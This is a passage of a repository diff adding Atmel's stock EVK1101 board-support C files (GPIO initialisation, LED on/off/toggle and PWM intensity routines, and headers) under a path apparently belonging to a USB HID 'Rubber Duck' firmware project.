#define SPARE_SPI_SCK_FUNCTION AVR32_SPI_SCK_0_0_FUNCTION
|
||||
#define SPARE_SPI_MISO_PIN AVR32_SPI_MISO_0_0_PIN
|
||||
#define SPARE_SPI_MISO_FUNCTION AVR32_SPI_MISO_0_0_FUNCTION
|
||||
#define SPARE_SPI_MOSI_PIN AVR32_SPI_MOSI_0_0_PIN
|
||||
#define SPARE_SPI_MOSI_FUNCTION AVR32_SPI_MOSI_0_0_FUNCTION
|
||||
#define SPARE_SPI_NPCS_PIN AVR32_SPI_NPCS_2_0_PIN
|
||||
#define SPARE_SPI_NPCS_FUNCTION AVR32_SPI_NPCS_2_0_FUNCTION
|
||||
//! @}
|
||||
|
||||
|
||||
#endif // _EVK1101_H_
|
126
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/init.c
Executable file
126
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/init.c
Executable file
|
@ -0,0 +1,126 @@
|
|||
/*This file is prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief EVK1101 board init.
|
||||
*
|
||||
* This file contains board initialization function.
|
||||
*
|
||||
* - Compiler: IAR EWAVR32 and GNU GCC for AVR
|
||||
* - Supported devices: All AVR UC3 devices can be used.
|
||||
* - AppNote:
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
******************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*
|
||||
*/
|
||||
|
||||
|
||||
#include "compiler.h"
|
||||
#include "evk1101.h"
|
||||
#include "conf_board.h"
|
||||
#include "gpio.h"
|
||||
#include "board.h"
|
||||
|
||||
#if defined (CONF_BOARD_AT45DBX)
|
||||
#define AT45DBX_MEM_CNT 1
|
||||
#endif
|
||||
|
||||
void board_init(void)
|
||||
{
|
||||
gpio_configure_pin(LED0_GPIO,GPIO_DIR_OUTPUT | GPIO_INIT_HIGH);
|
||||
gpio_configure_pin(LED1_GPIO,GPIO_DIR_OUTPUT | GPIO_INIT_HIGH);
|
||||
gpio_configure_pin(LED2_GPIO,GPIO_DIR_OUTPUT | GPIO_INIT_HIGH);
|
||||
gpio_configure_pin(LED3_GPIO,GPIO_DIR_OUTPUT | GPIO_INIT_HIGH);
|
||||
|
||||
gpio_configure_pin(GPIO_PUSH_BUTTON_0,GPIO_DIR_INPUT);
|
||||
gpio_configure_pin(GPIO_PUSH_BUTTON_1,GPIO_DIR_INPUT);
|
||||
gpio_configure_pin(GPIO_JOYSTICK_PUSH,GPIO_DIR_INPUT);
|
||||
gpio_configure_pin(GPIO_JOYSTICK_LEFT,GPIO_DIR_INPUT);
|
||||
gpio_configure_pin(GPIO_JOYSTICK_UP,GPIO_DIR_INPUT);
|
||||
gpio_configure_pin(GPIO_JOYSTICK_DOWN,GPIO_DIR_INPUT);
|
||||
|
||||
#if defined (CONF_BOARD_AT45DBX)
|
||||
static const gpio_map_t AT45DBX_SPI_GPIO_MAP =
|
||||
{
|
||||
{AT45DBX_SPI_SCK_PIN, AT45DBX_SPI_SCK_FUNCTION }, // SPI Clock.
|
||||
{AT45DBX_SPI_MISO_PIN, AT45DBX_SPI_MISO_FUNCTION }, // MISO.
|
||||
{AT45DBX_SPI_MOSI_PIN, AT45DBX_SPI_MOSI_FUNCTION }, // MOSI.
|
||||
#define AT45DBX_ENABLE_NPCS_PIN(NPCS, unused) \
|
||||
{AT45DBX_SPI_NPCS##NPCS##_PIN, AT45DBX_SPI_NPCS##NPCS##_FUNCTION}, // Chip Select NPCS.
|
||||
MREPEAT(AT45DBX_MEM_CNT, AT45DBX_ENABLE_NPCS_PIN, ~)
|
||||
#undef AT45DBX_ENABLE_NPCS_PIN
|
||||
};
|
||||
|
||||
// Assign I/Os to SPI.
|
||||
gpio_enable_module(AT45DBX_SPI_GPIO_MAP,
|
||||
sizeof(AT45DBX_SPI_GPIO_MAP) / sizeof(AT45DBX_SPI_GPIO_MAP[0]));
|
||||
#endif
|
||||
|
||||
#if defined (CONF_BOARD_TWI)
|
||||
static const gpio_map_t TWI_GPIO_MAP =
|
||||
{
|
||||
{AVR32_TWI_SDA_0_0_PIN, AVR32_TWI_SDA_0_0_FUNCTION},
|
||||
{AVR32_TWI_SCL_0_0_PIN, AVR32_TWI_SCL_0_0_FUNCTION}
|
||||
};
|
||||
|
||||
// TWI gpio pins configuration
|
||||
gpio_enable_module(TWI_GPIO_MAP, sizeof(TWI_GPIO_MAP) / sizeof(TWI_GPIO_MAP[0]));
|
||||
#endif
|
||||
|
||||
#if defined (CONF_BOARD_COM_PORT)
|
||||
static const gpio_map_t COMPORT_GPIO_MAP =
|
||||
{
|
||||
{AVR32_USART1_RXD_0_0_PIN, AVR32_USART1_RXD_0_0_FUNCTION },
|
||||
{AVR32_USART1_TXD_0_0_PIN, AVR32_USART1_TXD_0_0_FUNCTION }
|
||||
};
|
||||
|
||||
// Assign I/Os to USART.
|
||||
gpio_enable_module(COMPORT_GPIO_MAP,
|
||||
sizeof(COMPORT_GPIO_MAP) / sizeof(COMPORT_GPIO_MAP[0]));
|
||||
#endif
|
||||
|
||||
#if UC3D
|
||||
static const gpio_map_t USB_GPIO_MAP =
|
||||
{
|
||||
{AVR32_USBC_DP_PIN, AVR32_USBC_DP_FUNCTION},
|
||||
{AVR32_USBC_DM_PIN, AVR32_USBC_DM_FUNCTION},
|
||||
{AVR32_USBC_VBUS_PIN, AVR32_USBC_VBUS_FUNCTION}
|
||||
};
|
||||
|
||||
// Assign GPIO pins to USB.
|
||||
gpio_enable_module(USB_GPIO_MAP,
|
||||
sizeof(USB_GPIO_MAP) / sizeof(USB_GPIO_MAP[0]));
|
||||
#endif
|
||||
|
||||
}
|
344
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/led.c
Executable file
344
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/led.c
Executable file
|
@ -0,0 +1,344 @@
|
|||
/*This file is prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief AT32UC3B EVK1101 board LEDs support package.
|
||||
*
|
||||
* This file contains definitions and services related to the LED features of
|
||||
* the EVK1101 board.
|
||||
*
|
||||
* - Compiler: IAR EWAVR32 and GNU GCC for AVR32
|
||||
* - Supported devices: All AVR32 AT32UC3B devices can be used.
|
||||
* - AppNote:
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
******************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
|
||||
#include <avr32/io.h>
|
||||
#include "preprocessor.h"
|
||||
#include "compiler.h"
|
||||
#include "evk1101.h"
|
||||
#include "led.h"
|
||||
|
||||
|
||||
//! Structure describing LED hardware connections.
|
||||
typedef const struct
|
||||
{
|
||||
struct
|
||||
{
|
||||
U32 PORT; //!< LED GPIO port.
|
||||
U32 PIN_MASK; //!< Bit-mask of LED pin in GPIO port.
|
||||
} GPIO; //!< LED GPIO descriptor.
|
||||
struct
|
||||
{
|
||||
S32 CHANNEL; //!< LED PWM channel (< 0 if N/A).
|
||||
S32 FUNCTION; //!< LED pin PWM function (< 0 if N/A).
|
||||
} PWM; //!< LED PWM descriptor.
|
||||
} tLED_DESCRIPTOR;
|
||||
|
||||
|
||||
//! Hardware descriptors of all LEDs.
|
||||
static tLED_DESCRIPTOR LED_DESCRIPTOR[LED_COUNT] =
|
||||
{
|
||||
#define INSERT_LED_DESCRIPTOR(LED_NO, unused) \
|
||||
{ \
|
||||
{LED##LED_NO##_GPIO / 32, 1 << (LED##LED_NO##_GPIO % 32)},\
|
||||
{LED##LED_NO##_PWM, LED##LED_NO##_PWM_FUNCTION } \
|
||||
},
|
||||
MREPEAT(LED_COUNT, INSERT_LED_DESCRIPTOR, ~)
|
||||
#undef INSERT_LED_DESCRIPTOR
|
||||
};
|
||||
|
||||
|
||||
//! Saved state of all LEDs.
|
||||
static volatile U32 LED_State = (1 << LED_COUNT) - 1;
|
||||
|
||||
|
||||
U32 LED_Read_Display(void)
|
||||
{
|
||||
return LED_State;
|
||||
}
|
||||
|
||||
|
||||
void LED_Display(U32 leds)
|
||||
{
|
||||
// Use the LED descriptors to get the connections of a given LED to the MCU.
|
||||
tLED_DESCRIPTOR *led_descriptor;
|
||||
volatile avr32_gpio_port_t *led_gpio_port;
|
||||
|
||||
// Make sure only existing LEDs are specified.
|
||||
leds &= (1 << LED_COUNT) - 1;
|
||||
|
||||
// Update the saved state of all LEDs with the requested changes.
|
||||
LED_State = leds;
|
||||
|
||||
// For all LEDs...
|
||||
for (led_descriptor = &LED_DESCRIPTOR[0];
|
||||
led_descriptor < LED_DESCRIPTOR + LED_COUNT;
|
||||
led_descriptor++)
|
||||
{
|
||||
// Set the LED to the requested state.
|
||||
led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT];
|
||||
if (leds & 1)
|
||||
{
|
||||
led_gpio_port->ovrc = led_descriptor->GPIO.PIN_MASK;
|
||||
}
|
||||
else
|
||||
{
|
||||
led_gpio_port->ovrs = led_descriptor->GPIO.PIN_MASK;
|
||||
}
|
||||
led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK;
|
||||
led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK;
|
||||
leds >>= 1;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
U32 LED_Read_Display_Mask(U32 mask)
|
||||
{
|
||||
return Rd_bits(LED_State, mask);
|
||||
}
|
||||
|
||||
|
||||
void LED_Display_Mask(U32 mask, U32 leds)
|
||||
{
|
||||
// Use the LED descriptors to get the connections of a given LED to the MCU.
|
||||
tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1;
|
||||
volatile avr32_gpio_port_t *led_gpio_port;
|
||||
U8 led_shift;
|
||||
|
||||
// Make sure only existing LEDs are specified.
|
||||
mask &= (1 << LED_COUNT) - 1;
|
||||
|
||||
// Update the saved state of all LEDs with the requested changes.
|
||||
Wr_bits(LED_State, mask, leds);
|
||||
|
||||
// While there are specified LEDs left to manage...
|
||||
while (mask)
|
||||
{
|
||||
// Select the next specified LED and set it to the requested state.
|
||||
led_shift = 1 + ctz(mask);
|
||||
led_descriptor += led_shift;
|
||||
led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT];
|
||||
leds >>= led_shift - 1;
|
||||
if (leds & 1)
|
||||
{
|
||||
led_gpio_port->ovrc = led_descriptor->GPIO.PIN_MASK;
|
||||
}
|
||||
else
|
||||
{
|
||||
led_gpio_port->ovrs = led_descriptor->GPIO.PIN_MASK;
|
||||
}
|
||||
led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK;
|
||||
led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK;
|
||||
leds >>= 1;
|
||||
mask >>= led_shift;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Bool LED_Test(U32 leds)
|
||||
{
|
||||
return Tst_bits(LED_State, leds);
|
||||
}
|
||||
|
||||
|
||||
void LED_Off(U32 leds)
|
||||
{
|
||||
// Use the LED descriptors to get the connections of a given LED to the MCU.
|
||||
tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1;
|
||||
volatile avr32_gpio_port_t *led_gpio_port;
|
||||
U8 led_shift;
|
||||
|
||||
// Make sure only existing LEDs are specified.
|
||||
leds &= (1 << LED_COUNT) - 1;
|
||||
|
||||
// Update the saved state of all LEDs with the requested changes.
|
||||
Clr_bits(LED_State, leds);
|
||||
|
||||
// While there are specified LEDs left to manage...
|
||||
while (leds)
|
||||
{
|
||||
// Select the next specified LED and turn it off.
|
||||
led_shift = 1 + ctz(leds);
|
||||
led_descriptor += led_shift;
|
||||
led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT];
|
||||
led_gpio_port->ovrs = led_descriptor->GPIO.PIN_MASK;
|
||||
led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK;
|
||||
led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK;
|
||||
leds >>= led_shift;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void LED_On(U32 leds)
|
||||
{
|
||||
// Use the LED descriptors to get the connections of a given LED to the MCU.
|
||||
tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1;
|
||||
volatile avr32_gpio_port_t *led_gpio_port;
|
||||
U8 led_shift;
|
||||
|
||||
// Make sure only existing LEDs are specified.
|
||||
leds &= (1 << LED_COUNT) - 1;
|
||||
|
||||
// Update the saved state of all LEDs with the requested changes.
|
||||
Set_bits(LED_State, leds);
|
||||
|
||||
// While there are specified LEDs left to manage...
|
||||
while (leds)
|
||||
{
|
||||
// Select the next specified LED and turn it on.
|
||||
led_shift = 1 + ctz(leds);
|
||||
led_descriptor += led_shift;
|
||||
led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT];
|
||||
led_gpio_port->ovrc = led_descriptor->GPIO.PIN_MASK;
|
||||
led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK;
|
||||
led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK;
|
||||
leds >>= led_shift;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void LED_Toggle(U32 leds)
|
||||
{
|
||||
// Use the LED descriptors to get the connections of a given LED to the MCU.
|
||||
tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1;
|
||||
volatile avr32_gpio_port_t *led_gpio_port;
|
||||
U8 led_shift;
|
||||
|
||||
// Make sure only existing LEDs are specified.
|
||||
leds &= (1 << LED_COUNT) - 1;
|
||||
|
||||
// Update the saved state of all LEDs with the requested changes.
|
||||
Tgl_bits(LED_State, leds);
|
||||
|
||||
// While there are specified LEDs left to manage...
|
||||
while (leds)
|
||||
{
|
||||
// Select the next specified LED and toggle it.
|
||||
led_shift = 1 + ctz(leds);
|
||||
led_descriptor += led_shift;
|
||||
led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT];
|
||||
led_gpio_port->ovrt = led_descriptor->GPIO.PIN_MASK;
|
||||
led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK;
|
||||
led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK;
|
||||
leds >>= led_shift;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
U32 LED_Read_Display_Field(U32 field)
|
||||
{
|
||||
return Rd_bitfield(LED_State, field);
|
||||
}
|
||||
|
||||
|
||||
void LED_Display_Field(U32 field, U32 leds)
|
||||
{
|
||||
// Move the bit-field to the appropriate position for the bit-mask.
|
||||
LED_Display_Mask(field, leds << ctz(field));
|
||||
}
|
||||
|
||||
|
||||
U8 LED_Get_Intensity(U32 led)
|
||||
{
|
||||
tLED_DESCRIPTOR *led_descriptor;
|
||||
|
||||
// Check that the argument value is valid.
|
||||
led = ctz(led);
|
||||
led_descriptor = &LED_DESCRIPTOR[led];
|
||||
if (led >= LED_COUNT || led_descriptor->PWM.CHANNEL < 0) return 0;
|
||||
|
||||
// Return the duty cycle value if the LED PWM channel is enabled, else 0.
|
||||
return (AVR32_PWM.sr & (1 << led_descriptor->PWM.CHANNEL)) ?
|
||||
AVR32_PWM.channel[led_descriptor->PWM.CHANNEL].cdty : 0;
|
||||
}
|
||||
|
||||
|
||||
void LED_Set_Intensity(U32 leds, U8 intensity)
|
||||
{
|
||||
tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1;
|
||||
volatile avr32_pwm_channel_t *led_pwm_channel;
|
||||
volatile avr32_gpio_port_t *led_gpio_port;
|
||||
U8 led_shift;
|
||||
|
||||
// For each specified LED...
|
||||
for (leds &= (1 << LED_COUNT) - 1; leds; leds >>= led_shift)
|
||||
{
|
||||
// Select the next specified LED and check that it has a PWM channel.
|
||||
led_shift = 1 + ctz(leds);
|
||||
led_descriptor += led_shift;
|
||||
if (led_descriptor->PWM.CHANNEL < 0) continue;
|
||||
|
||||
// Initialize or update the LED PWM channel.
|
||||
led_pwm_channel = &AVR32_PWM.channel[led_descriptor->PWM.CHANNEL];
|
||||
if (!(AVR32_PWM.sr & (1 << led_descriptor->PWM.CHANNEL)))
|
||||
{
|
||||
led_pwm_channel->cmr = (AVR32_PWM_CPRE_MCK << AVR32_PWM_CPRE_OFFSET) &
|
||||
~(AVR32_PWM_CALG_MASK |
|
||||
AVR32_PWM_CPOL_MASK |
|
||||
AVR32_PWM_CPD_MASK);
|
||||
led_pwm_channel->cprd = 0x000000FF;
|
||||
led_pwm_channel->cdty = intensity;
|
||||
AVR32_PWM.ena = 1 << led_descriptor->PWM.CHANNEL;
|
||||
}
|
||||
else
|
||||
{
|
||||
AVR32_PWM.isr;
|
||||
while (!(AVR32_PWM.isr & (1 << led_descriptor->PWM.CHANNEL)));
|
||||
led_pwm_channel->cupd = intensity;
|
||||
}
|
||||
|
||||
// Switch the LED pin to its PWM function.
|
||||
led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT];
|
||||
if (led_descriptor->PWM.FUNCTION & 0x1)
|
||||
{
|
||||
led_gpio_port->pmr0s = led_descriptor->GPIO.PIN_MASK;
|
||||
}
|
||||
else
|
||||
{
|
||||
led_gpio_port->pmr0c = led_descriptor->GPIO.PIN_MASK;
|
||||
}
|
||||
if (led_descriptor->PWM.FUNCTION & 0x2)
|
||||
{
|
||||
led_gpio_port->pmr1s = led_descriptor->GPIO.PIN_MASK;
|
||||
}
|
||||
else
|
||||
{
|
||||
led_gpio_port->pmr1c = led_descriptor->GPIO.PIN_MASK;
|
||||
}
|
||||
led_gpio_port->gperc = led_descriptor->GPIO.PIN_MASK;
|
||||
}
|
||||
}
|
185
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/led.h
Executable file
185
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/led.h
Executable file
|
@ -0,0 +1,185 @@
|
|||
/*This file is prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief AT32UC3B EVK1101 board LEDs support package.
|
||||
*
|
||||
* This file contains definitions and services related to the LED features of
|
||||
* the EVK1101 board.
|
||||
*
|
||||
* - Compiler: IAR EWAVR32 and GNU GCC for AVR32
|
||||
* - Supported devices: All AVR32 AT32UC3B devices can be used.
|
||||
* - AppNote:
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
******************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _LED_H_
|
||||
#define _LED_H_
|
||||
|
||||
#include "compiler.h"
|
||||
|
||||
|
||||
/*! \name Identifiers of LEDs to Use with LED Functions
|
||||
*/
|
||||
//! @{
|
||||
#define LED0 0x01
|
||||
#define LED1 0x02
|
||||
#define LED2 0x04
|
||||
#define LED3 0x08
|
||||
//! @}
|
||||
|
||||
|
||||
/*! \brief Gets the last state of all LEDs set through the LED API.
|
||||
*
|
||||
* \return State of all LEDs (1 bit per LED).
|
||||
*
|
||||
* \note The GPIO pin configuration of all LEDs is left unchanged.
|
||||
*/
|
||||
extern U32 LED_Read_Display(void);
|
||||
|
||||
/*! \brief Sets the state of all LEDs.
|
||||
*
|
||||
* \param leds New state of all LEDs (1 bit per LED).
|
||||
*
|
||||
* \note The pins of all LEDs are set to GPIO output mode.
|
||||
*/
|
||||
extern void LED_Display(U32 leds);
|
||||
|
||||
/*! \brief Gets the last state of the specified LEDs set through the LED API.
|
||||
*
|
||||
* \param mask LEDs of which to get the state (1 bit per LED).
|
||||
*
|
||||
* \return State of the specified LEDs (1 bit per LED).
|
||||
*
|
||||
* \note The GPIO pin configuration of all LEDs is left unchanged.
|
||||
*/
|
||||
extern U32 LED_Read_Display_Mask(U32 mask);
|
||||
|
||||
/*! \brief Sets the state of the specified LEDs.
|
||||
*
|
||||
* \param mask LEDs of which to set the state (1 bit per LED).
|
||||
*
|
||||
* \param leds New state of the specified LEDs (1 bit per LED).
|
||||
*
|
||||
* \note The pins of the specified LEDs are set to GPIO output mode.
|
||||
*/
|
||||
extern void LED_Display_Mask(U32 mask, U32 leds);
|
||||
|
||||
/*! \brief Tests the last state of the specified LEDs set through the LED API.
|
||||
*
|
||||
* \param leds LEDs of which to test the state (1 bit per LED).
|
||||
*
|
||||
* \return \c TRUE if at least one of the specified LEDs has a state on, else
|
||||
* \c FALSE.
|
||||
*
|
||||
* \note The GPIO pin configuration of all LEDs is left unchanged.
|
||||
*/
|
||||
extern Bool LED_Test(U32 leds);
|
||||
|
||||
/*! \brief Turns off the specified LEDs.
|
||||
*
|
||||
* \param leds LEDs to turn off (1 bit per LED).
|
||||
*
|
||||
* \note The pins of the specified LEDs are set to GPIO output mode.
|
||||
*/
|
||||
extern void LED_Off(U32 leds);
|
||||
|
||||
/*! \brief Turns on the specified LEDs.
|
||||
*
|
||||
* \param leds LEDs to turn on (1 bit per LED).
|
||||
*
|
||||
* \note The pins of the specified LEDs are set to GPIO output mode.
|
||||
*/
|
||||
extern void LED_On(U32 leds);
|
||||
|
||||
/*! \brief Toggles the specified LEDs.
|
||||
*
|
||||
* \param leds LEDs to toggle (1 bit per LED).
|
||||
*
|
||||
* \note The pins of the specified LEDs are set to GPIO output mode.
|
||||
*/
|
||||
extern void LED_Toggle(U32 leds);
|
||||
|
||||
/*! \brief Gets as a bit-field the last state of the specified LEDs set through
|
||||
* the LED API.
|
||||
*
|
||||
* \param field LEDs of which to get the state (1 bit per LED).
|
||||
*
|
||||
* \return State of the specified LEDs (1 bit per LED, beginning with the first
|
||||
* specified LED).
|
||||
*
|
||||
* \note The GPIO pin configuration of all LEDs is left unchanged.
|
||||
*/
|
||||
extern U32 LED_Read_Display_Field(U32 field);
|
||||
|
||||
/*! \brief Sets as a bit-field the state of the specified LEDs.
|
||||
*
|
||||
* \param field LEDs of which to set the state (1 bit per LED).
|
||||
* \param leds New state of the specified LEDs (1 bit per LED, beginning with
|
||||
* the first specified LED).
|
||||
*
|
||||
* \note The pins of the specified LEDs are set to GPIO output mode.
|
||||
*/
|
||||
extern void LED_Display_Field(U32 field, U32 leds);
|
||||
|
||||
/*! \brief Gets the intensity of the specified LED.
|
||||
*
|
||||
* \param led LED of which to get the intensity (1 bit per LED; only the least
|
||||
* significant set bit is used).
|
||||
*
|
||||
* \return Intensity of the specified LED (0x00 to 0xFF).
|
||||
*
|
||||
* \warning The PWM channel of the specified LED is supposed to be used only by
|
||||
* this module.
|
||||
*
|
||||
* \note The GPIO pin configuration of all LEDs is left unchanged.
|
||||
*/
|
||||
extern U8 LED_Get_Intensity(U32 led);
|
||||
|
||||
/*! \brief Sets the intensity of the specified LEDs.
|
||||
*
|
||||
* \param leds LEDs of which to set the intensity (1 bit per LED).
|
||||
* \param intensity New intensity of the specified LEDs (0x00 to 0xFF).
|
||||
*
|
||||
* \warning The PWM channels of the specified LEDs are supposed to be used only
|
||||
* by this module.
|
||||
*
|
||||
* \note The pins of the specified LEDs are set to PWM output mode.
|
||||
*/
|
||||
extern void LED_Set_Intensity(U32 leds, U8 intensity);
|
||||
|
||||
|
||||
#endif // _LED_H_
|
File diff suppressed because it is too large
Load diff
|
@ -0,0 +1,220 @@
|
|||
/*This file is prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief SD/MMC card driver using an SPI interface.
|
||||
*
|
||||
* - Compiler: IAR EWAVR32 and GNU GCC for AVR32
|
||||
* - Supported devices: All AVR32 devices with an SPI module can be used.
|
||||
* - AppNote:
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
******************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
